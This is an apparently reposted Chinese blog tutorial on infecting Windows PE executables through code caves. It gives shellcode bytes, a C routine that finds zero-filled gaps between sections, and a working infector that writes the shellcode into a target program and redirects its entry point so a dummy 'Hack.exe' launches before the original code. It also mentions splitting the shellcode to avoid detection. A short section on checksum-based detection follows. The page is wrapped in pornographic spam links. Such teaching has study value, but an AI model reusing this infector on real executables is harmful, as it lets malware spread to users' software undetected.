日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【转】反病毒攻防研究第002篇:利用缝隙实现代码的植入

發布時間:2025/3/15 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【转】反病毒攻防研究第002篇:利用缝隙实现代码的植入 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

聲明

因為在評論區看到原博主說要把文章刪掉。。。心想這么好的文章刪了真的可惜,所以就先轉一份。。。


一、前言

? ? ? ? 現在很多網站都提供各式各樣軟件的下載,這就為黑客提供了植入病毒木馬的良機。黑客可以將自己的惡意程序植入到正常的程序中,之后發布到網站上,這樣當用戶下載并運行了植入病毒的程序后,計算機就會中毒,而且病毒可能會接著感染計算機中的其他程序,甚至通過網絡或者U盤,使得傳播面積不斷擴大。而本篇文章就來剖析病毒感染的實現原理,首先需要搜索正常程序中的縫隙用于“病毒”(用對話框模擬)的植入,之后感染目標程序以實現“病毒”的啟動。當然,討論完這些,我依舊會分析如何應對這種攻擊方法,這才是本篇文章討論的重點。

?

二、搜索程序中存在的縫隙。

? ? ? ? 病毒木馬如果想對一個正常的程序寫入代碼,那么首先就必須要知道目標程序中是否有足夠大的空間來讓它把代碼植入。一般來說,有兩種方法,第一種就是增加一個節區,這樣就有足夠的空間來讓病毒植入了,但是這樣一來,不利于病毒的隱藏,如同告訴反病毒工程師“我就是病毒”一樣,即便如此,我依舊會在后面的文章中討論這種方法。第二種方法就是查找程序中存在的縫隙,然后再植入代碼。因為在PE文件中,為了對齊,節與節之間必然存在未被使用的空間,這就是程序中存在的縫隙。只要惡意代碼的長度不大于縫隙的長度,那么就可以將代碼寫入這個空間。這里討論的就是這種方法的實現。

? ? ? ? 為了討論的簡單起見,我這里依舊使用在上一篇文章中所編寫的ShellCode。和上一篇文章中所討論的方法不同的是,上次是將ShellCode寫入了密碼文件,密碼驗證程序讀取密碼文件后,產生溢出,執行了ShellCode,然后再執行“病毒”程序。而這次是省去了中間環節,直接將ShellCode寫入正常的程序中,運行程序就直接運行了“病毒”,這樣就更加隱蔽,更容易被觸發。提取出之前的ShellCode,并進行一定的修改,定義如下:

  • char shellcode[] =
  • "\x33\xdb" ? ? ? ? ? ? ? ? ? ? ? //xor ?ebx,ebx
  • "\x53" ? ? ? ? ? ? ? ? ? ? ? ? ? //push ebx
  • "\x68\x2e\x65\x78\x65" ? ? ? ? ? //push 0x6578652e
  • "\x68\x48\x61\x63\x6b" ? ? ? ? ? //push 0x6b636148
  • "\x8b\xc4" ? ? ? ? ? ? ? ? ? ? ? //mov ?eax,esp?
  • "\x53" ? ? ? ? ? ? ? ? ? ? ? ? ? //push ebx
  • "\x50" ? ? ? ? ? ? ? ? ? ? ? ? ? //push eax
  • "\xb8\x31\x32\x86\x7c" ? ? ? ? ? //mov ?eax,0x7c863231
  • "\xff\xd0" ? ? ? ? ? ? ? ? ? ? ? //call eax?
  • "\xb8\x90\x90\x90\x90" ? ? ? ? ? //mov ?eax,OEP
  • "\xff\xe0\x90"; ? ? ? ? ? ? ? ? ?//jmp ?eax
  • ? ? ? ? 這里需要說明的是,由于我們接下來要將程序的入口點修改為ShellCode的入口點,在ShellCode執行完后,又需要跳回原程序的入口點,因此在原始ShellCode的后面添加上了mov和jmp eax的指令。mov后面留有四個字節的空間,用于原始程序OEP的寫入,下一步就是跳到原始程序去執行。由于原始ShellCode中包含有退出代碼,所以也需要將調用ExitProcess的ShellCode代碼去掉。

    搜索程序中縫隙的代碼如下:

  • DWORD SearchSpace(LPVOID lpBase,PIMAGE_NT_HEADERS pNtHeader)
  • {
  • PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)(((BYTE *)&(pNtHeader->OptionalHeader) + pNtHeader->FileHeader.SizeOfOptionalHeader));
  • DWORD dwAddr = pSec->PointerToRawData+pSec->SizeOfRawData - sizeof(shellcode);
  • dwAddr=(DWORD)(BYTE *)lpBase + dwAddr;
  • //在內存中分配shellcode大小的空間,并以0進行填充
  • LPVOID lp = malloc(sizeof(shellcode));
  • memset(lp,0,sizeof(shellcode));
  • while(dwAddr > pSec->Misc.VirtualSize)
  • {
  • //查找長度與shellcode相同,且內容為00的空間
  • int nRet = memcmp((LPVOID)dwAddr,lp,sizeof(shellcode));
  • //如果存在這樣的空間,那么memcmp的值為0,返回dwAddr
  • if(nRet == 0)
  • {
  • return dwAddr;
  • }
  • //自減,不斷反向查找
  • dwAddr--;
  • }
  • free(lp);
  • return 0;
  • }
  • ? ? ? ? 上述代碼是在代碼的節區與緊挨著代碼節區之后的節區的中間的位置進行搜索,從代碼節區的末尾開始反向搜索。

    ?

    三、將ShellCode植入目標程序

    這里我們需要編寫一個main函數來調用上面的函數,代碼如下:

  • #include <windows.h>
  • #define FILENAME "helloworld.exe" //欲“感染”的文件名
  • int main()
  • {
  • HANDLE hFile = NULL;
  • HANDLE hMap = NULL;
  • LPVOID lpBase = NULL;
  • hFile = CreateFile(FILENAME,
  • GENERIC_READ | GENERIC_WRITE,
  • FILE_SHARE_READ,
  • NULL,
  • OPEN_EXISTING,
  • FILE_ATTRIBUTE_NORMAL,
  • NULL);
  • hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
  • lpBase = MapViewOfFile(hMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
  • PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
  • PIMAGE_NT_HEADERS pNtHeader = NULL;
  • //PE文件驗證,判斷e_magic是否為MZ
  • if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  • {
  • UnmapViewOfFile(lpBase);
  • CloseHandle(hMap);
  • CloseHandle(hFile);
  • return 0;
  • }
  • //根據e_lfanew來找到Signature標志位
  • pNtHeader = (PIMAGE_NT_HEADERS)((BYTE *)lpBase + pDosHeader->e_lfanew);
  • //PE文件驗證,判斷Signature是否為PE
  • if(pNtHeader->Signature != IMAGE_NT_SIGNATURE)
  • {
  • UnmapViewOfFile(lpBase);
  • CloseHandle(hMap);
  • CloseHandle(hFile);
  • return 0;
  • }
  • //搜索PE文件中的縫隙
  • DWORD dwAddr = SearchSpace(lpBase,pNtHeader);
  • //尋找原程序入口地址,并拷貝到ShellCode中的相應位置(25至28字節處)
  • DWORD dwOep = pNtHeader->OptionalHeader.ImageBase + pNtHeader->OptionalHeader.AddressOfEntryPoint;
  • *(DWORD *)&shellcode[25] = dwOep;
  • //將ShellCode拷貝到上面所找到的縫隙
  • memcpy((char *)dwAddr,shellcode,strlen(shellcode)+3);
  • dwAddr = dwAddr - (DWORD)(BYTE *)lpBase;
  • //將ShellCode的入口地址拷貝給原程序
  • pNtHeader->OptionalHeader.AddressOfEntryPoint = dwAddr;
  • UnmapViewOfFile(lpBase);
  • CloseHandle(hMap);
  • CloseHandle(hFile);
  • return 0;
  • }
  • ? ? ? ? 由于我需要把ShellCode植入可執行文件,只有可執行文件才能啟動ShellCode,因此有必要提前對目標文件進行格式檢測。而檢測的方法,一般就是檢測MZ與PE標志位是否存在。這里有一件事需要說明,就是在將ShellCode拷貝到縫隙中的那條語句中,使用了memcpy函數,它的第三個參數是strlen(shellcode)+3,這里之所以加上3,是因為strlen這個函數當遇到字符串中出現的\x00時,就會認為字符串已經結束,那么它的字符長度的計數就會停在\x00處。而一個程序的OEP往往是0x004XXXXX,小端顯示,它的存儲方式就是XXXXX400,在我的ShellCode中,由于00后面還剩下三個字節(\xff\xe0\x90),但是被00所截斷了,導致這最后的三個字節不被strlen認可,因此需要再加上3。

    ?

    四、程序的“感染”

    ? ? ? ? 為了測試我們的“感染”程序,在此我再編寫一個HelloWorld程序,代碼如下:

  • #include <stdio.h>
  • int main()
  • {
  • printf(“Hello world!\n”);
  • getchar();
  • return 0;
  • }
  • ? ? ? ? 將上述代碼編譯鏈接后生成的helloworld.exe程序放到和“感染”程序同一目錄下,執行“感染”程序,然后用十六進制編輯軟件打開helloworld.exe,可以發現我們的代碼已經植入,如下如所示:


    圖1 用Hex Editor查看植入代碼

    ? ? ? ? 再用OllyDbg查看植入代碼:


    圖2 用OllyDbg查看植入代碼

    ? ? ? ? 使用OD載入程序,就直接來到了我們所植入的ShellCode的地址,可見程序的原始OEP已經被修改了。而在ShellCode的最后,又會跳到程序的原始入口點,繼續執行原始程序。利用PEiD也能明顯地看到“感染”前后的不同:

    圖3 被“感染”前


    圖4 被“感染”后

    ? ? ? ? 此時我們就可以確定,helloworld.exe已經被“感染”了,為了驗證“被感染”程序是否能夠啟動我們的對話框程序,需要將Hack.exe(注意這里改了名字)放到與helloworld.exe的同一目錄下,然后執行helloworld.exe,如下圖所示:


    圖5 運行“被感染”的程序

    ? ? ? ? 可見,用于模擬病毒的提示對話框以及helloworld.exe自身的程序都得到了運行,這也說明了“感染”是成功的。

    ? ? ? ? 這里是直接將程序的入口點修改為我們的ShellCode的入口地址,其實這是不利于“病毒”的隱藏的,為了起到迷惑的作用,可以將ShellCode程序植入到helloworld的代碼中,甚至將ShellCode拆分為幾個部分再植入,這樣就很難被發現了,這里就不再詳細討論。

    ?

    五、防范方法的討論

    ? ? ? ? 由于惡意程序的這種“感染”方法是在程序的縫隙將自身代碼植入,因此它是不會對原始程序的大小產生任何改變的,當然也是由于我所舉的這個例子比較簡單,ShellCode也比較短的緣故。這或多或少也實現了病毒的隱藏,不過防范的方法還是有的。一般來說,軟件公司都會對自己的軟件產品進行校驗,比如運用MD5、Sha-1或者CRC32等。校驗的結果是唯一的,也就是說,即便原始程序改動很小(如這次僅僅修改了32個字節的內容),那么校驗的結果也會很不相同。很多安全類軟件都能夠提供校驗的功能,而校驗也總被運用在手工查殺病毒中,因為黑客往往會對系統中的svchost.exe或者一些DLL文件做手腳,而這樣的一些重要文件,官方都會給出真正的校驗值,那么對比一下就能夠很容易發現這些文件是否被篡改過了。回到上面的helloworld.exe,在“感染”前后,用火眼進行校驗檢測:


    圖6 “感染”前

    圖7 “感染”后

    ? ? ? ? 這里的建議是多采用幾種校驗方式進行校驗,因為像MD5這種校驗方式有可能會被做手腳,使得“感染”前后的結果可能是一樣的,而目前的技術還無法使在修改了原始文件的前提下,所有校驗方式的校驗結果不變。所以善于利用校驗的方式,可以使自己的計算機免受很多的威脅。

    ? ? ? ? 針對于這種攻擊方式,我這次并不打算寫出專殺工具,畢竟依靠之前的專殺工具就足夠了。而對于文件被“感染”,去除感染是一件比較麻煩的事情,在這里先不進行討論。以后的文章中可能會專門論述這個問題。

    ?

    六、小結

    ? ? ? ? 這次簡單討論了一下利用PE結構中的縫隙實現ShellCode的植入。在我看來,PE知識是許多高級技術的基礎,是必須要掌握的。以后的文章,會從更多的角度來講解利用PE格式實現“病毒”的攻擊與防范。再次強調的是,我在這里討論的目的是為了讓大家了解更多的計算機安全的知識,而不應將這些運用于歪門邪道。我所講的這些方法,是無法通過殺軟的檢驗的,即便是這次被感染的程序,“火眼”依舊將其列為重點懷疑對象。所以不應為了一時之快,而做出讓自己后悔的舉動。

    • <li class="tool-item tool-active is-like tool-clicked"><a href="javascript:;"><svg class="icon" aria-hidden="true"><use xlink:href="#csdnc-thumbsup"></use></svg><span class="name">點贊</span><span class="count">3</span></a></li><li class="tool-item tool-active is-collection "><a href="javascript:;" data-report-click="{&quot;mod&quot;:&quot;popu_824&quot;}"><svg class="icon" aria-hidden="true"><use xlink:href="#icon-csdnc-Collection-G"></use></svg><span class="name">收藏</span></a></li><li class="tool-item tool-active is-share"><a href="javascript:;" data-report-click="{&quot;mod&quot;:&quot;1582594662_002&quot;}"><svg class="icon" aria-hidden="true"><use xlink:href="#icon-csdnc-fenxiang"></use></svg>分享</a></li><!--打賞開始--><!--打賞結束--><li class="tool-item tool-more"><a><svg t="1575545411852" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="5717" xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200"><defs><style type="text/css"></style></defs><path d="M179.176 499.222m-113.245 0a113.245 113.245 0 1 0 226.49 0 113.245 113.245 0 1 0-226.49 0Z" p-id="5718"></path><path d="M509.684 499.222m-113.245 0a113.245 113.245 0 1 0 226.49 0 113.245 113.245 0 1 0-226.49 0Z" p-id="5719"></path><path d="M846.175 499.222m-113.245 0a113.245 113.245 0 1 0 226.49 0 113.245 113.245 0 1 0-226.49 0Z" p-id="5720"></path></svg></a><ul class="more-box"><li class="item"><a class="article-report">文章舉報</a></li></ul></li></ul></div></div><div class="person-messagebox"><div class="left-message"><a href="https://blog.csdn.net/ioio_jy"><img src="https://profile.csdnimg.cn/D/5/F/3_ioio_jy" class="avatar_pic" username="ioio_jy"><img src="https://g.csdnimg.cn/static/user-reg-year/2x/7.png" class="user-years"></a></div><div class="middle-message"><div class="title"><span class="tit"><a href="https://blog.csdn.net/ioio_jy" data-report-click="{&quot;mod&quot;:&quot;popu_379&quot;}" target="_blank">ioio_jy</a></span><span class="flag expert"><a href="https://blog.csdn.net/home/help.html#classicfication" target="_blank"><svg class="icon" aria-hidden="true"><use xlink:href="#csdnc-blogexpert"></use></svg>博客專家</a></span></div><div class="text"><span>發布了121 篇原創文章</span> · <span>獲贊 670</span> · <span>訪問量 65萬+</span></div></div><div class="right-message"><a href="https://bbs.csdn.net/topics/395526389" target="_blank" class="btn btn-sm btn-red-hollow bt-button personal-messageboard">他的留言板</a><a class="btn btn-sm attented bt-button personal-watch" data-report-click="{&quot;mod&quot;:&quot;popu_379&quot;}">已關注</a></div></div></div>

    總結

    以上是生活随笔為你收集整理的【转】反病毒攻防研究第002篇:利用缝隙实现代码的植入的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

    主站蜘蛛池模板: 亚洲精品婷婷 | 国产精品一卡二卡三卡 | 欧美日韩国产色 | 国产视频123 | 永久免费精品视频 | 久久调教视频 | 亚洲大尺度网站 | 国产精品久久久免费视频 | 国产无套精品 | 性欧美在线视频 | 国产91清纯白嫩初高中在线观看 | 亚洲日本黄色 | 日本精品一二区 | 国产强伦人妻毛片 | 欧美天天性影院 | 日韩一区二区视频在线 | 一级毛毛片 | 在线观看网站av | 国产精品99在线观看 | 中日韩中文字幕 | 一区二区三区高清在线观看 | 69日本xxxxxxxxx30 在线波多野结衣 | 岛国片在线免费观看 | 久久一级黄色片 | 国产成人97精品免费看片 | 成人在线激情网 | 在线播放一区二区三区 | 黄色片网站在线免费观看 | 国产乱论| 4438色| 精品国产乱码久久久久久郑州公司 | 国产精选久久久 | 中文字幕免费观看 | 天天综合日日夜夜 | 成人福利社 | 国产一级久久 | 天堂影院一区二区 | 2021av视频 | 亚洲区小说区图片区 | 国产伦精品一区二区三区精品 | 伊人成年综合网 | 日本少妇激情舌吻 | 日日夜夜超碰 | 传媒视频在线观看 | 亚洲国产精品99久久 | 精品欧美在线 | 在线a | 国产精品久久久久久福利 | 亚洲av综合色区无码一二三区 | 欧美在线视频播放 | 久久久久久国产精品三级玉女聊斋 | 人妻少妇被粗大爽9797pw | 欧美成人午夜77777 | 成人深夜福利 | www.久久婷婷 | 亚洲无码乱码精品国产 | 宅男噜噜噜66一区二区 | 亚洲午夜精品视频 | 精品96久久久久久中文字幕无 | 校园sm主奴调教1v1罚视频 | 久久久婷| 人人叉人人| 欧美日韩在线a | 色婷婷久久久亚洲一区二区三区 | 网友自拍咪咪爱 | 久久久久久一区二区三区 | 91网在线| 欧美日韩在线高清 | 亚洲精品国产免费 | 国产视频二区三区 | 黄色av网站在线播放 | 泰坦尼克号3小时49分的观看方法 | 亚洲第一成人在线 | 蜜臀尤物一区二区三区直播 | 免费在线h | 青青草免费在线观看 | 自拍偷拍第一页 | 簧片av | 99热这里只有精品99 | 人妻洗澡被强公日日澡 | 黑人巨大国产9丨视频 | 狠狠干网 | 国产精品久久久精品三级 | 91精品国产综合久久福利软件 | 亚洲成人tv | 天天操夜操 | 天堂av2019 | 丁香婷婷一区二区三区 | 成人永久免费 | 丰满少妇毛片 | 狠狠爱夜夜爱 | 99国产精品视频免费观看一公开 | 国产天堂资源 | 男人的天堂网在线 | 黄色在线视频播放 | 国内视频一区二区三区 | 欧美在线免费看 | 成人在线免费电影 | 热久久免费视频 |